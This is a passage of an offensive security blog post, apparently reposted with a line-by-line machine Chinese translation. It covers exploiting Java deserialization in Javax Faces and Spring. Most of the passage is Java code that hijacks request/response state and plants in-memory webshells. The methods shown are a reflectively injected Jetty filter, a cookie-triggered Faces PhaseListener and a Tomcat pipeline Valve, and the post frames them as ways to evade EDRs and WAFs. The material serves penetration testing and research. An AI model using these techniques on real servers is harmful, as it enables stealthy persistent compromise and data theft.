The first two entries are related to the internal state of the request currently processed (FacesContextImpl), which is a good entry point to interact with the internal web API. Although these entries can be used to obtain references to the current state in a generic way, static methods could exist to obtain the same state, depending on the web framework.
前两个条目与当前处理的请求的内部状态 ( FacesContextImpl) 相关,这是与内部 Web API 交互的良好入口点。尽管这些条目可用于以通用方式获取对当前状态的引用,但静态方法可用于获取相同的状态,具体取决于 Web 框架。
IN JAVAX FACES 在 JAVAX 面孔中
In this web framework, a static method allows retrieving the current state of the application from ThreadLocals
:
在此 Web 框架中,静态方法允许从 ThreadLocals
以下位置检索应用程序的当前状态:
// src/main/java/javax/faces/context/FacesContext.java
// [...]
/**
* <p class="changed_modified_2_0">Return the {@link FacesContext}
* instance for the request that is being processed by the current
* thread. If called during application initialization or shutdown,
// [...]
*/
public static FacesContext getCurrentInstance() {
FacesContext facesContext = instance.get();
if (null == facesContext) {
facesContext = (FacesContext)threadInitContext.get(Thread.currentThread());
}
// Bug 20458755: If not found in the threadInitContext, use
// a special FacesContextFactory implementation that knows how to
// use the initContextServletContext map to obtain current ServletContext
// out of thin air (actually, using the current ClassLoader), and use it
// to obtain the init FacesContext corresponding to that ServletContext.
if (null == facesContext) {
// [...]
FacesContextFactory privateFacesContextFactory = (FacesContextFactory) FactoryFinder.getFactory("com.sun.faces.ServletContextFacesContextFactory");
if (null != privateFacesContextFactory) {
facesContext = privateFacesContextFactory.getFacesContext(null, null, null, null);
}
}
return facesContext;
}
// [...]
From this instance, the HTTP request and its response can be obtained from the ExternalContext using getRequest
and getResponse
methods:
在此实例中,可以使用 getRequest
和 getResponse
方法从 ExternalContext 获取 HTTP 请求及其响应:
HttpServletRequest req = ((HttpServletRequest) FacesContext.getCurrentInstance()
.getExternalContext().getRequest());
System.out.println(req.getParameter("get_param"));
HttpServletResponse resp = ((HttpServletResponse) FacesContext.getCurrentInstance()
.getExternalContext().getResponse());
resp.getWriter().write("Response!");
The request and response types could vary if Portlet
is used instead of Servlet
for Faces.
However, if these methods are called from a class loaded within the main ClassLoader
, or a ClassLoader
different from the current thread context’s class loader, an exception will be thrown. The easiest way to interact with Faces is to actually load a new class using the current thread context’s ClassLoader
:
但是,如果这些方法是从 main ClassLoader
中加载的类调用的,或者与当前线程上下文的类加载器 ClassLoader
不同的类调用,则会引发异常。与 Faces 交互的最简单方法是使用当前线程上下文的 ClassLoader
:
byte[] classBytes = new byte[]{/* [...] */};
Method method = classLoader.loadClass("java.lang.ClassLoader")
.getDeclaredMethod("defineClass", String.class, byte[].class, Integer.class, Integer.class);
method.setAccessible(true);
((Class) method.invoke(Thread.currentThread().getContextClassLoader(),
className, classBytes, 0, classBytes.length)
).newInstance();
Another option would be to lookup classes and invoke methods manually by querying the current thread context’s ClassLoader
:
另一种选择是通过查询当前线程上下文来查找类并手动调用方法 ClassLoader
:
Class klass = Thread.currentThread().getContextClassLoader().loadClass("javax.faces.context.FacesContext")
Object instance = klass.getMethod("getCurrentInstance", new Class[0])
.invoke(null null);
// [...]
Finally, it should be noted that the same static method seems to exist on Mojarra Faces, so exfiltrating data this way should also work on this web framework, as long as the right package is used.
最后,应该注意的是,Mojarra Faces 上似乎存在相同的静态方法,因此只要使用正确的包,以这种方式泄露数据也应该适用于此 Web 框架。
IN SPRING 在春天
As for Faces, a static method in Spring automatically looks up the current state of the application from ThreadLocals
:
至于 Faces,Spring 中的静态方法会自动从以下位置 ThreadLocals
查找应用程序的当前状态:
// spring-web/src/main/java/org/springframework/web/context/request/RequestContextHolder.java
// [...]
/**
* Return the RequestAttributes currently bound to the thread.
* <p>Exposes the previously bound RequestAttributes instance, if any.
* Falls back to the current JSF FacesContext, if any.
// [...]
* is bound to the current thread
* @see #setRequestAttributes
* @see ServletRequestAttributes
* @see FacesRequestAttributes
* @see jakarta.faces.context.FacesContext#getCurrentInstance()
*/
public static RequestAttributes currentRequestAttributes() throws IllegalStateException {
RequestAttributes attributes = getRequestAttributes();
if (attributes == null) {
if (jsfPresent) {
attributes = FacesRequestAttributesFactory.getFacesRequestAttributes();
}
if (attributes == null) {
throw new IllegalStateException("No thread-bound request found: " +
// [...]
"In this case, use RequestContextListener or RequestContextFilter to expose the current request.");
}
}
return attributes;
}
// [...]
The HTTP request and its response can be obtained from an instance of a class extending RequestAttributes
. For Servlet
, the getRequest
and getResponse
methods of the ServletRequestAttributes
class should be used:
HTTP 请求及其响应可以从扩展 RequestAttributes
. 的类的实例中获取。对于 Servlet
,应使用 ServletRequestAttributes
类的 getRequest
和 getResponse
方法:
ServletRequestAttributes reqAttributes = (ServletRequestAttributes)RequestContextHolder
.currentRequestAttributes();
System.out.println(reqAttributes.getRequest()
.getParameter("get_param"));
PrintWriter writer = reqAttributes.getResponse()
.getWriter();
writer.println("Result");
writer.flush();
Hijacking HTTP flows 劫持 HTTP 流
The next step when exploiting arbitrary deserialization vulnerabilities when network traffic is filtered, could be to hijack the HTTP flows. This can be useful to persist at runtime and to only exploit the vulnerability once, by deploying in-memory webshells, even for environments that do not have JSP (Java Server Pages) files parsers.
在过滤网络流量时利用任意反序列化漏洞的下一步可能是劫持 HTTP 流。这对于在运行时保留漏洞以及通过部署内存中 Webshell 仅利用一次漏洞非常有用,即使对于没有 JSP(Java Server Pages)文件解析器的环境也是如此。
As for exfiltrating data, the following web environments could be targeted:
至于外泄数据,可以针对以下 Web 环境:
- Javax Faces Javax 面孔
- Spring with Tomcat embedded
嵌入 Tomcat 的 Spring - Spring with Jetty 春天与码头
Some techniques against Embedded Tomcat are already covered in this interesting article and in the ysomap tool. The following chapters will demonstrate a first method that can be used against Spring with Jetty, another one against Javax Faces, and a third one targeting Spring with Tomcat using Valves.
这篇有趣的文章和 ysomap 工具中已经介绍了一些针对嵌入式 Tomcat 的技术。接下来的章节将演示第一种方法,该方法可用于使用 Jetty 来对付 Spring,另一种方法可用于 Javax Faces,第三种方法可以使用 Valve 来对付 Spring 和 Tomcat。
ON SPRING WITH JETTY USING FILTERS
在带有码头的春天使用过滤器
In Jetty, the main web service has its context managed by the WebAppContext
class. However, from ThreadLocals
, only an instance to its enclosed class Context
can be obtained from the RequestContextHolder
class mentioned before:
在 Jetty 中,主 Web 服务的上下文由 WebAppContext
类管理。但是,从 ThreadLocals
中只能从前面提到的 RequestContextHolder
类中获取其封闭类 Context
的实例:
WebAppContext.Context ctx = (WebAppContext.Context) (
(ServletRequestAttributes)RequestContextHolder
.currentRequestAttributes()
).getRequest().getServletContext();
In Java, a non-static enclosed class holds an instance of their enclosing class. Internally, a private field named this$0
is used to store this instance. In order to obtain an instance of WebAppContext
, the following Java snippet can be used:
在 Java 中,非静态封闭类保存其封闭类的实例。在内部,一个名为 this$0
的私有字段用于存储此实例。为了获取 WebAppContext
的实例,可以使用以下 Java 代码段:
WebAppContext.Context ctx = (WebAppContext.Context) (
(ServletRequestAttributes)RequestContextHolder
.currentRequestAttributes()
).getRequest().getServletContext();
Field this0 = ctx.getClass().getDeclaredField("this$0");
this0.setAccessible(true);
WebAppContext appCtx = (WebAppContext)this0.get(ctx);
From there, custom filters can be defined on the running application in order to intercept requests:
从那里,可以在正在运行的应用程序上定义自定义过滤器,以便拦截请求:
WebAppContext.Context ctx = (WebAppContext.Context) (
(ServletRequestAttributes)RequestContextHolder
.currentRequestAttributes()
).getRequest().getServletContext();
Field this0 = ctx.getClass().getDeclaredField("this$0");
this0.setAccessible(true);
WebAppContext appCtx = (WebAppContext)this0.get(ctx);
Set<DispatcherType> set = new HashSet<DispatcherType>();
appCtx.addFilter(new FilterHolder(new Filter() {
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
if(!(servletRequest instanceof HttpServletRequest)) {
filterChain.doFilter(servletRequest, servletResponse);
return;
}
if(((HttpServletRequest) servletRequest).getHeader("req_header") != null) {
servletResponse.getWriter().write(((HttpServletRequest) servletRequest).getHeader("req_header") );
((HttpServletResponse)servletResponse).getWriter().append("Result");
}
filterChain.doFilter(servletRequest, servletResponse);
}
}), "/*", EnumSet.of(DispatcherType.ASYNC, DispatcherType.REQUEST, DispatcherType.FORWARD));
This could serve as a basis for in-memory webshells against Spring using Jetty. However, as for Embedded Tomcat, more work is required in order to put this filter in the top of the filter chain to intercept unauthenticated requests, depending on the targeted application.
这可以作为使用 Jetty 针对 Spring 的内存中 webshell 的基础。但是,对于嵌入式 Tomcat,需要做更多的工作才能将此过滤器放在过滤器链的顶部,以拦截未经身份验证的请求,具体取决于目标应用程序。
ON JAVAX FACES USING PHASES
在使用 PHASES 的 JAVAX 面孔上
Requests can be intercepted in Faces by using PhaseListeners. They can be attached like Filters on Jetty or Tomcat, to the underlying web framework.
可以使用 PhaseListeners 在 Faces 中截获请求。它们可以像 Jetty 或 Tomcat 上的过滤器一样附加到底层 Web 框架。
A custom PhaseListener
is structured as follows:
自定义的 PhaseListener
结构如下:
public class CustomPhase implements PhaseListener {
@Override
public void afterPhase(PhaseEvent phaseEvent) {
try {
Map<String, Object> cookies = FacesContext.getCurrentInstance().getExternalContext()
.getRequestCookieMap();
if (!cookies.containsKey("test"))
return;
Cookie cookie = (Cookie) cookies.get("test");
// [...]
HttpServletResponse resp = ((HttpServletResponse) FacesContext.getCurrentInstance()
.getExternalContext().getResponse());
resp.getWriter().write("Result");
}catch(Throwable tr) {
// ignored
}
}
@Override
public void beforePhase(PhaseEvent phaseEvent) {
}
@Override
public PhaseId getPhaseId() {
return PhaseId.RENDER_RESPONSE;
}
}
Once the class defined at runtime has been loaded using the current thread context’s ClassLoader
, the new Phase
can be registered to intercept requests:
一旦使用当前线程上下文加载了在运行时定义的类 ClassLoader
,就可以注册新的 Phase
类来拦截请求:
LifecycleFactory lifecycleFactory = (LifecycleFactory) FactoryFinder
.getFactory(FactoryFinder.LIFECYCLE_FACTORY);
Lifecycle applicationLifecycle = lifecycleFactory
.getLifecycle(LifecycleFactory.DEFAULT_LIFECYCLE);
applicationLifecycle.addPhaseListener(new CustomPhase());
Finally, more work could be required to actually make it really intercept any request. Additionally, it could serve as a basis for in-memory webshells.
最后,可能需要做更多的工作才能真正拦截任何请求。此外,它还可以作为内存中 webshell 的基础。
ON SPRING WITH TOMCAT USING VALVES
使用阀门的 TOMCAT 弹簧
In Tomcat, Valves can also be registered instead of Filters. These Valves were actually used to override a parameter that was rendered using JSP (Java Server Pages) to exploit the Spring4Shell vulnerability.
在 Tomcat 中,还可以注册 Valve 而不是 Filters。这些 Valve 实际上用于覆盖使用 JSP(Java Server Pages)渲染的参数,以利用 Spring4Shell 漏洞。
In pure Java, they can be registered as follows:
在纯 Java 中,它们可以按如下方式注册:
WebappClassLoaderBase lbase = ((WebappClassLoaderBase)(
(
(ServletRequestAttributes)RequestContextHolder
.getRequestAttributes()
).getRequest().getServletContext().getClassLoader())
);
Field fResources = getField(lbase.getClass(), "resources");
fResources.setAccessible(true);
StandardContext ctx = (StandardContext) ((WebResourceRoot)fResources.get(lbase))
.getContext();
ctx.getParent().getPipeline().addValve(new ValveBase() {
@Override
public void invoke(Request request, Response response) throws IOException, ServletException {
// [...]
// Intercept it
// [...]
if(this.getNext() != null) {
this.getNext().invoke(request, response);
}
}
});
Conclusion 结论
The tricks presented in this blogpost could be adapted to stay under the radar during engagements. Relying solely on EDRs and WAFs could make exploitation steps harder, but will never replace patching the vulnerable applications.
这篇博文中介绍的技巧可以调整为在交战期间保持低调。仅依赖 EDR 和 WAF 可能会使漏洞利用步骤变得更加困难,但永远无法取代修补易受攻击的应用程序。
Some of the payloads mentioned here for Translets and Transformers are included in our GitHub fork or in this pull request to ysoserial’s repository.
这里提到的 Translets 和 Transformer 的一些有效负载包含在我们的 GitHub 分支中,或者包含在对 ysoserial 存储库的拉取请求中。
Note however that the gadget chains and vulnerable dependencies mentioned here are becoming fewer and fewer available on vulnerable applications. These tricks may therefore not be applicable as-is. Moreover, internal Translets
will not be available from unnamed modules starting from Java 16, thus killing several gadget chains relying on it. We stay nonetheless confident that we will still find applications running on Java 7, 8 or 11 over the next years 🙂
但请注意,这里提到的小工具链和易受攻击的依赖项在易受攻击的应用程序上变得越来越少。因此,这些技巧可能不适用。此外,从 Java 16 开始,未命名的模块将无法使用 internal Translets
,从而扼杀了依赖它的几个小工具链。尽管如此,我们仍然有信心,在未来几年内,我们仍然会发现在Java 7、8或11上运行的应用程序:)
Additionally, the same logic mentioned here to inject in-memory webshells could be exploited from other types of vulnerabilities leading to RCE (e.g. SSTI and scripting engines).
此外,此处提到的注入内存中 Webshell 的相同逻辑可以从导致 RCE 的其他类型的漏洞(例如 SSTI 和脚本引擎)中利用。
Finally, we tried to highlight some of the environment limitations mentioned here by creating a crypto/web challenge for Hexacon, named AlmostIsoSerial (sources.7z, vm.7z). You can find write-ups here.
最后,我们试图通过为 Hexacon 创建一个名为 AlmostIsoSerial ( sources.7z, vm.7z) 的加密/Web 挑战来强调这里提到的一些环境限制。你可以在这里找到文章。
原文始发于Clément Amic:JAVA DESERIALIZATION TRICKS